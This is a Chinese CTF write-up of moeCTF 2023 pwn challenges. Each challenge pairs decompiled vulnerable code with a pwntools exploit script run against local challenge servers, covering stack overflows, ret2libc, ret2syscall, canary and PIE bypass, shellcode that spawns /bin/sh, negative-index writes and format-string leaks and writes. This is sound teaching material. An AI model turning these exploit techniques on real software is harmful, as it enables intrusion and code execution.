• [moeCTF 2023] pwn


    总体上来说并不难,不过对于新生来说还是相当好的。循序渐进,很适合PWN入门到放弃。

    baby_calculator

    就是要算对100个10以内加法(幼儿园的题)练习pwntools和python

    1. from pwn import *
    2. from hashlib import md5
    3. import string
    4. #from sage.all import *
    5. io = remote('localhost', 38233)
    6. context.log_level = 'debug'
    7. for i in range(100):
    8. io.recvuntil(b'The first:')
    9. a = int(io.recvline())
    10. io.recvuntil(b':')
    11. b = int(io.recvline())
    12. c = io.recvline().decode().replace('=','==')
    13. d = eval(c)
    14. if d:
    15. io.sendline(b'BlackBird')
    16. else:
    17. io.sendline(b'WingS')
    18. io.interactive()

    fd

    系统在程序调起时会先打开标准IO和Error 3个文件描述符(0 1 2),再打开文件就是3号了,然后算下输入就OK

    1. puts("Do you know fd?");
    2. fd = open("./flag", 0, 0LL);
    3. new_fd = (4 * fd) | 0x29A;
    4. dup2(fd, new_fd);
    5. close(fd);
    6. puts("Which file do you want to read?");
    7. puts("Please input its fd: ");
    8. __isoc99_scanf("%d", &input);
    9. read(input, flag, 0x50uLL);
    10. puts(flag);

    int_overflow

    输入一个正数,等于负数。在计算机上数字就是这样你看成有符号就是有符号,看成无符号就是无符号。他就是他  -114514&0xffffffff == 4294852782

    1. puts("Welcome to Moectf2023.");
    2. puts("Do you know int overflow?");
    3. puts("Can you make n == -114514 but no '-' when you input n.");
    4. puts("Please input n:");
    5. get_input(&n);
    6. if ( n == -114514 )
    7. backdoor();
    8. puts("Maybe you should search and learn it.");

    ret2text_32

    32位系统的函数调用和传参

    1. ssize_t vuln()
    2. {
    3. size_t nbytes; // [esp+Ch] [ebp-5Ch] BYREF
    4. char buf[84]; // [esp+10h] [ebp-58h] BYREF
    5. puts("Welcome to my stack in MoeCTF2023!");
    6. puts("What's your age?");
    7. __isoc99_scanf("%d", &nbytes);
    8. puts("Now..try to overflow!");
    9. return read(0, buf, nbytes);
    10. }
    11. int b4ckdoor()
    12. {
    13. return system("echo hi!");
    14. }
    1. from pwn import *
    2. io = remote('localhost', 45415)
    3. context(arch='i386',log_level = 'debug')
    4. io.sendlineafter(b"What's your age?\n", b'1000')
    5. io.sendafter(b"Now..try to overflow!\n", b'\x00'*0x58+flat(0, 0x8049070,0, 0x804c02c))
    6. io.interactive()
    7. #moectf{5y5eVodmeDp-jl3_MjcVVSHwQYmKW8do}

    ret2text_64

    64位调用和传参,64位前6个参数在寄存器,1参要pop rdi;

    1. from pwn import *
    2. io = remote('localhost', 39223)
    3. context(arch='amd64',log_level = 'debug')
    4. pop_rdi = 0x4011be
    5. pay = b'\x00'*0x50+flat(0x404800, pop_rdi, 0x404050, 0x4012b7)
    6. io.sendlineafter(b"What's your age?\n", str(len(pay)).encode())
    7. io.sendafter(b"Now..try to overflow!\n", pay)
    8. io.interactive()

     rePWNse

    1. from pwn import *
    2. p = remote('localhost', 38161)
    3. #p = process('./format_level2')
    4. context(arch='amd64',log_level = 'debug')
    5. pop_rdi = 0x40168e
    6. p.recvuntil(b"Input seven single digits:")
    7. a = '1919810'
    8. for v in a:
    9. p.sendline(v.encode())
    10. p.recvuntil(b"The address is:")
    11. bin_sh = int(p.recvline(),16)
    12. p.sendafter(b"What do you want?", b'A'*0x48 + flat(pop_rdi, bin_sh, 0x401296))
    13. p.interactive()

    ret2libc

    c写的东西最容易发生的漏洞就是栈溢出。这里明显buf比写入的小。通过溢出改变程序流程,下一步走到想要的地方。

    1. ssize_t vuln()
    2. {
    3. char buf[80]; // [rsp+0h] [rbp-50h] BYREF
    4. puts("I hide the b4ckdoor..\n");
    5. puts("But..maybe libc can help u??\n");
    6. return read(0, buf, 0x100uLL);
    7. }

    最常见的就是先通过puts(got)得到libc的地址,然后再执行system(/bin/sh) 

    1. from pwn import *
    2. p = remote('localhost', 41401)
    3. #p = process('./format_level2')
    4. context(arch='amd64',log_level = 'debug')
    5. pop_rdi = 0x40117e
    6. got_puts = 0x404020
    7. plt_puts = 0x401060
    8. p.sendafter(b"But..maybe libc can help u??\n\n", b'A'*0x58 + flat(pop_rdi, got_puts, plt_puts, 0x4011e8))
    9. libc_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x114980
    10. bin_sh = libc_base + 0x1d8698
    11. system = libc_base + 0x50d60
    12. p.sendafter(b"But..maybe libc can help u??\n\n", b'A'*0x58 + flat(pop_rdi+1, pop_rdi, bin_sh, system, 0x4011e8))
    13. p.interactive()

    ret2syscall

    代码基本还是上边那个,只是不用先取得libc,直接调用syscall的execve(/bin/sh)

    1. from pwn import *
    2. p = remote('localhost', 33827)
    3. #p = process('./format_level2')
    4. context(arch='amd64',log_level = 'debug')
    5. pop_rdi = 0x401180
    6. pop_rsi_rdx = 0x401182
    7. pop_rax = 0x40117e
    8. bin_sh = 0x404040
    9. syscall = 0x401185
    10. p.sendafter(b"Can you make a syscall?\n", b'A'*0x48 + flat(pop_rdi, bin_sh, pop_rsi_rdx,0,0, pop_rax, 59, syscall))
    11. p.interactive()

    PIE_enabled

    针对溢出的保护机制常见有两个一人是PIE就是程序加载地址随机化,这样像pop这样的gadget就不能直接用了。

    这里先给了一个地址,通过这个地址计算出基地址再计算出各个gadget的地址再利用。

    1. ssize_t vuln()
    2. {
    3. char buf[80]; // [rsp+0h] [rbp-50h] BYREF
    4. puts("This time i will give u a gift!\n");
    5. printf("Vuln's address is:%p\n", vuln);
    6. return read(0, buf, 0x100uLL);
    7. }
    1. from pwn import *
    2. p = remote('localhost', 36081)
    3. #p = process('./format_level2')
    4. context(arch='amd64',log_level = 'debug')
    5. p.recvuntil(b"Vuln's address is:")
    6. pwn_base = int(p.recvline(),16) - 0x1245
    7. pop_rdi = pwn_base + 0x1323
    8. bin_sh = pwn_base + 0x4010
    9. system = pwn_base + 0x10a0
    10. p.send(b'A'*0x58 + flat(pop_rdi+1, pop_rdi,bin_sh,system))
    11. p.interactive()

    little_canary

    最直接的保护机制就是canary这东西名叫金丝雀,是一个4或8字节,尾为0,每当调用函数时会从ld里读进来放到栈底,如果有溢出发生就会被破坏,然后程序就直接调用崩掉。(尾字节的0防止被puts啥的输出)

    当然再好的机制也挡不住烂程序员,给你两次,先把0给填上然后再puts。

    1. from pwn import *
    2. p = remote('localhost', 44731)
    3. #p = process('./format_level2')
    4. context(arch='amd64',log_level = 'debug')
    5. pop_rdi = 0x401343
    6. got_puts = 0x404030
    7. plt_puts = 0x401080
    8. p.sendafter(b"What's your name?\n", b'A'*0x49)
    9. p.recvuntil(b'A'*0x49)
    10. canary = b'\x00'+p.recv(7)
    11. p.sendafter(b"I put a canary on my stack!\n", b'A'*0x48 + flat(canary,0, pop_rdi, got_puts, plt_puts, 0x40121b))
    12. p.recvuntil(b"Try to defeat it!")
    13. libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x10dfc0
    14. bin_sh = libc_base + 0x1b45bd
    15. system = libc_base + 0x52290
    16. p.sendlineafter(b"What's your name?\n", b'A')
    17. p.sendafter(b"I put a canary on my stack!\n", b'A'*0x48 + flat(canary,0, pop_rdi+1, pop_rdi, bin_sh, system, 0x40121b))
    18. p.interactive()

    shellcode_level0

    别一种漏洞就是栈可执行。栈不能执行也是一种保护机制,程序加载后每个块都有些特性。可执行的区域不可写,可写的区域不可执行,栈也一样。在C程序编译时会默认设置,但如果打开了就会有一另一种麻烦。栈溢出后如果gadget没有合适的也不大好弄,但如果能执行直接写代码就过了。

    pwntools有些自动化工作。shellcraft.sh() 等

    1. from pwn import *
    2. io = remote('localhost', 46419)
    3. io.sendline(asm(shellcraft.sh()))
    4. io.interactive()

    shellcode_level1

    同上

    1. from pwn import *
    2. io = remote('localhost', 46071)
    3. #io = process('./pwn')
    4. context(arch='amd64',log_level = 'debug')
    5. io.sendlineafter(b"Which paper will you choose?\n", b'4')
    6. io.sendlineafter(b"what do you want to write?\n",asm(shellcraft.sh()))
    7. io.interactive()

    shellcode_level2

    再同上(可能出题人太懒)

    1. from pwn import *
    2. io = remote('localhost', 37227)
    3. io.sendline(b'\x00'+asm(shellcraft.sh()))
    4. io.interactive()

    shellcode_level3

    强烈怀疑走错篷了。写上后门的地址,就会跳过去执行。

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. puts("5 bytes ni neng miao sha wo?");
    4. mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
    5. gets(&code);
    6. memset(&unk_40408E, 0, 0xF72uLL);
    7. ((void (*)(void))code)(); // 写个后门的地址
    8. return 0;
    9. }

    changeable_shellcode

    写个代码然后去运行。

    shellcode这东西说简就简一句shellcraft.sh()或者直接复制一段21字节代码就行,说繁杂那其实就是个写程序,没有最难只有更难。这是个起点,需要绕过出题人出的那些限制。这里需要把88异或成05造成syscall

    1. from pwn import *
    2. p = remote('localhost', 32777)
    3. #p = process('./shellcode')
    4. context(arch='amd64',log_level = 'debug')
    5. a = '''
    6. mov rbx, 0x11451401d
    7. mov byte ptr[rbx],5
    8. mov rdi,rbx
    9. inc rdi
    10. xor rsi,rsi
    11. xor rdx,rdx
    12. push 0x3b
    13. pop rax
    14. '''
    15. p.sendafter(b"Please input your shellcode: \n", asm(a)+b'\x0f\x88/bin/sh')
    16. p.send(asm(shellcraft.sh()))
    17. p.interactive()

    uninitialized_key

    这里只能输入5个数,可需要的6个已经提前存在栈上,用-或+绕过scanf

    1. void __cdecl get_key()
    2. {
    3. int key; // [rsp+4h] [rbp-Ch] BYREF
    4. unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    5. v1 = __readfsqword(0x28u);
    6. puts("Please input your key:");
    7. __isoc99_scanf("%5d", &key);
    8. if ( key == 114514 )
    9. {
    10. puts("This is my flag.");
    11. system("cat flag");
    12. }
    13. }
    1. ┌──(kali㉿kali)-[~/ctf/0815]
    2. └─$ nc localhost 39071
    3. Welcome to Moectf 2023.
    4. Do you know stack?
    5. Please input your age:
    6. 114514
    7. Your age is 114514.
    8. Please input your key:
    9. -
    10. This is my flag.
    11. moectf{EFQ5jPzNeXlgZgzDvpd6H7wogHahOtCL}

    uninitialized_key_plus

    可能我没理解出题人的意思,这两个基本相同,都是-绕过

    1. from pwn import *
    2. p = remote('localhost', 35923)
    3. #p = process('./shellcode_level3')
    4. context(arch='amd64',log_level = 'debug')
    5. p.sendafter(b"Please input your name:\n", b'A'*20+p32(114514))
    6. p.sendafter(b"Please input your key:\n", b'-')
    7. p.interactive()

    feedback

    另一个问题是指针溢出,当你以为需要输入个正数的时候,弄不好是个带符号的,偏移会有意想不到的结局发生。

    1. void __cdecl __noreturn vuln()
    2. {
    3. int i; // [rsp+8h] [rbp-8h]
    4. int ia; // [rsp+8h] [rbp-8h]
    5. int index; // [rsp+Ch] [rbp-4h]
    6. puts("Can you give me your feedback?");
    7. puts("There are some questions.");
    8. puts("1. What do you think of the quality of the challenge this time?");
    9. puts("2. Give me some suggestions.");
    10. puts("3. Please give me your ID.");
    11. feedback_list[0] = 0LL;
    12. for ( i = 1; i <= 3; ++i )
    13. feedback_list[i] = (char *)malloc(0x50uLL);
    14. for ( ia = 0; ia <= 2; ++ia )
    15. {
    16. puts("Which list do you want to write?");
    17. index = read_num(); // 前溢出
    18. if ( index <= 3 )
    19. {
    20. puts("Then you can input your feedback.");
    21. read_str(feedback_list[index]);
    22. print_feedback();
    23. }
    24. else
    25. {
    26. puts("No such list.");
    27. }
    28. }
    29. _exit(0);
    30. }
    1. from pwn import *
    2. #p = process('feedback')
    3. p = remote('127.0.0.1', 37413)
    4. libc = ELF('./libc-2.31.so')
    5. context(arch='amd64', log_level='debug')
    6. #gdb.attach(p)
    7. #pause()
    8. #leak -8:stdout->_IO_2_1_stdout_ : 0xfbad1887 + 0*25
    9. p.sendlineafter(b"Which list do you want to write?\n", b'-8')
    10. p.sendlineafter(b"Then you can input your feedback.\n", p64(0xfbad1887)+p64(0)*3+p8(0))
    11. libc.address = u64(p.recv(16)[8:]) - libc.sym['_IO_2_1_stdin_']
    12. # 0x4008->feedback[1]:0x4068
    13. p.sendlineafter(b"Which list do you want to write?", b'-11')
    14. p.sendlineafter(b"Then you can input your feedback.", p8(0x68))
    15. #flag_add = 0x1f1700
    16. flag_addr = libc.address + 0x1f1700
    17. p.sendlineafter(b"Which list do you want to write?", b'-11')
    18. p.sendlineafter(b"Then you can input your feedback.", p64(flag_addr))
    19. p.recvline()
    20. p.interactive()

    format_level0

    格式化字符串是PWN题的一个小分支。因为在我们战队有个培训,我选了这个题目讲,所以专门把这个放到最后。作为小例题分析提前准备着,因为讲课就排在最后,得到明年了。

    因为执行流都放在栈上对于printf这个变长参数的函数,参数设置不对就会发生任意地址读和任意地址写。

    想好几天了,就这么一句怎么讲仨钟头啊。

    这个题已经把flag放到栈上,找到指针输出就行了,不过没有指针,只能当整形打出来。

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int fd; // [esp+0h] [ebp-B0h]
    4. char flag[80]; // [esp+4h] [ebp-ACh] BYREF
    5. char name[80]; // [esp+54h] [ebp-5Ch] BYREF
    6. unsigned int v7; // [esp+A4h] [ebp-Ch]
    7. int *p_argc; // [esp+A8h] [ebp-8h]
    8. p_argc = &argc;
    9. v7 = __readgsdword(0x14u);
    10. init();
    11. memset(flag, 0, sizeof(flag));
    12. memset(name, 0, sizeof(name));
    13. fd = open("flag", 0, 0);
    14. if ( fd == -1 )
    15. {
    16. puts("open flag error!");
    17. exit(0);
    18. }
    19. read(fd, flag, 0x50u);
    20. close(fd);
    21. puts("Please input your name:");
    22. read(0, name, 0x50u);
    23. printf("Your name is: ");
    24. printf(name);
    25. return 0;
    26. }
    1. ┌──(kali㉿kali)-[~/ctf/0815]
    2. └─$ nc localhost 36045
    3. Please input your name:
    4. %7$p,%8$p,%9$p,%10$p,%11$p,%12$p,%13$p,%14$p,%15$p,%16$p,%17$p,%18$p,%19$p,%20$p,%21$p,%22$p,%23$p,%24$p,%25$p,%26$p,
    5. Your name is: 0x63656f6d,0x4b7b6674,0x316b7441,0x30594675,0x62625369,0x726a784c,0x6d576c6d,0x394e3855,0x38413248,0x7d4d474d,0xa,(nil),(nil),(nil)
    6. >>> a = [0x63656f6d,0x4b7b6674,0x316b7441,0x30594675,0x62625369,0x726a784c,0x6d576c6d,0x394e3855,0x38413248,0x7d4d474d]
    7. >>> b''.join([p32(i) for i in a])
    8. b'moectf{KAtk1uFY0iSbbLxjrmlWmU8N9H2A8MGM}'

    format_level1

    game调用talk,会执行任意地址写,跟GE一样,朝有利方向改就行了。

    1. void talk()
    2. {
    3. char str[16]; // [esp+Ch] [ebp-1Ch] BYREF
    4. unsigned int v1; // [esp+1Ch] [ebp-Ch]
    5. v1 = __readgsdword(0x14u);
    6. memset(str, 0, sizeof(str));
    7. puts("Input what you want to talk: ");
    8. read(0, str, 0x10u);
    9. puts("You said: ");
    10. printf(str);
    11. puts("But the dragon seems to ignore you.\n");
    12. }
    1. from pwn import *
    2. p = remote('localhost', 43821)
    3. #p = process('./format_level1')
    4. context(arch='i386',log_level = 'debug')
    5. p.sendlineafter(b"Your choice: \n", b'3')
    6. p.sendafter(b"Input what you want to talk: \n", p32(0x804c014+7)+b'%7$hhn')
    7. p.sendlineafter(b"Your choice: \n", b'1')
    8. p.interactive()

    format_level2

    同上

    1. from pwn import *
    2. p = remote('localhost', 41319)
    3. #p = process('./format_level2')
    4. context(arch='i386',log_level = 'debug')
    5. #gdb.attach(p, 'b*0x80496b2\nc')
    6. p.sendlineafter(b"Your choice: \n", b'3')
    7. p.sendafter(b"Input what you want to talk: \n", b'%14$p\n')
    8. p.recvuntil(b"You said: \n")
    9. stack = int(p.recvline(),16) + 4
    10. p.sendlineafter(b"Your choice: \n", b'3')
    11. p.sendafter(b"Input what you want to talk: \n", b'%23c%10$hhn.'+p32(stack))
    12. p.sendlineafter(b"Your choice: \n", b'3')
    13. p.sendafter(b"Input what you want to talk: \n", b'%147c%10$hhn'+p32(stack+1))
    14. p.sendlineafter(b"Your choice: \n", b'4')
    15. p.interactive()

    format_level3

    原理同上,格式化这东西有可能会比较麻烦

    1. from pwn import *
    2. #p = process('./format_level3')
    3. p = remote('127.0.0.1', 38333)
    4. context.log_level = 'debug'
    5. success = 0x8049330
    6. #gdb.attach(p, 'b*0x80496b0\nc')
    7. def talk(v):
    8. p.sendlineafter(b"Your choice: \n", b'3')
    9. p.sendlineafter(b"Input what you want to talk: ", v.encode())
    10. p.recvuntil(b"You said: \n")
    11. #leak stack
    12. talk('%6$p\n')
    13. stack = int(p.recvline().strip(), 16) - (0xcfe8 - 0xcfcc)
    14. print(f"{stack = :x}")
    15. #14->7
    16. talk(f'%{stack&0xff}c%6$hhn')
    17. #7 = success
    18. talk(f'%{0x9330}c%14$hn')
    19. p.interactive()
    20. '''
    21. 0xffffcfb0│+0x0000: 0x0804a20c → "But the dragon seems to ignore you.\n" ← $esp
    22. 0xffffcfb4│+0x0004: 0x0804c01c → "%8$p%9$p%10$p\n"
    23. 0xffffcfb8│+0x0008: 0x00000010
    24. 0xffffcfbc│+0x000c: 0x0804963e → add ebx, 0x297a
    25. 0xffffcfc0│+0x0010: 0x0804a231 → 0x47006425 ("%d"?)
    26. 0xffffcfc4│+0x0014: 0x0804bfb8 → 0x0804bec0 → 0x00000001
    27. 0xffffcfc8│+0x0018: 0xffffcfe8 → 0xffffcff8 → 0x00000000 ← $ebp #6
    28. 0xffffcfcc│+0x001c: 0x08049737 → jmp 0x804975a #7 -> success
    29. 0xffffcfd0│+0x0020: 0xf7e1dd00 → 0xfbad2087 #8
    30. 0xffffcfd4│+0x0024: 0x00000000
    31. 0xffffcfd8│+0x0028: 0x00000003
    32. 0xffffcfdc│+0x002c: 0xfe80a600
    33. 0xffffcfe0│+0x0030: 0x00000001
    34. 0xffffcfe4│+0x0034: 0xf7e1cff4 → 0x0021cd8c
    35. 0xffffcfe8│+0x0038: 0xffffcff8 → 0x00000000 #14 -> #7
    36. 0xffffcfec│+0x003c: 0x08049784 → mov eax, 0x0
    37. 0xffffcff0│+0x0040: 0x00000000
    38. 0xffffcff4│+0x0044: 0x00000070 ("p"?)
    39. 0xffffcff8│+0x0048: 0x00000000
    40. 0xffffcffc│+0x004c: 0xf7c23295 → <__libc_start_call_main+117> add esp, 0x10
    41. 0xffffd000│+0x0050: 0x00000001
    42. '''

  • 相关阅读:
    qt udp tcp代替RPC(二) 图片AI服务器
    面向对象三大特征之一:继承
    【vue后台管理系统】基于Vue+Element-UI+ECharts开发通用管理后台(中)
    WPF绑定单变量Binding和绑定多变量MultiBinding 字符串格式化 UI绑定数据,数据变化自动更新UI,UI变化自动更新数据
    Abaqus2023新功能:分析技术
    GoogleNet架构解析
    吃啥大转盘
    JavaScript 进阶 - 第2天
    LeetCode_贪心算法_简单_409.最长回文串
    MySQL8 分页数据重复或丢失问题说明(order by limit)
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/134043000